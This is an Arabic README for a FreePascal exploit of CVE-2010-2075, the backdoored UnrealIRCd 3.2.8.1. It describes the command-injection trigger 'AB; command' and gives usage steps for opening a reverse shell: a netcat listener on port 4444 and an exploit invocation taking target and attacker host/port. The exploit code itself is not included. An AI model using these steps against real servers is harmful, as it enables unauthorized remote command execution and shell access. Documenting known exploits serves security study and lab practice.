CVE-2010-2075

تنفيذ FreePascal لـ CVE-2010-2075

الثغرة

UnrealIRCd 3.2.8.1

ثغرة تنفيذ برمجي عن بُعد (RCE) عن طريق إرسال "AB; command" إلى أي خدمة تستمع. أي أمر ترسله يتم تنفيذه بنفس المستخدم الذي يعمل به UnrealIRCD.

هذا التنفيذ يقوم بتشغيل قشرة عكسية إلى المستمع الخاص بك.

الخطوة 1

ابدأ مستمعًا، مثال: netcat -lvp 4444

الخطوة 2

نفّذ الاستغلال ./exploit <target ip> <target port> <host ip> <host port> حيث أن عنوان IP ومنفذ المضيف هما المكان الذي يعمل فيه المستمع الخاص بك.

المتطلبات

Synapse. إذا لم يكن لديك، قم بتثبيته عبر OPM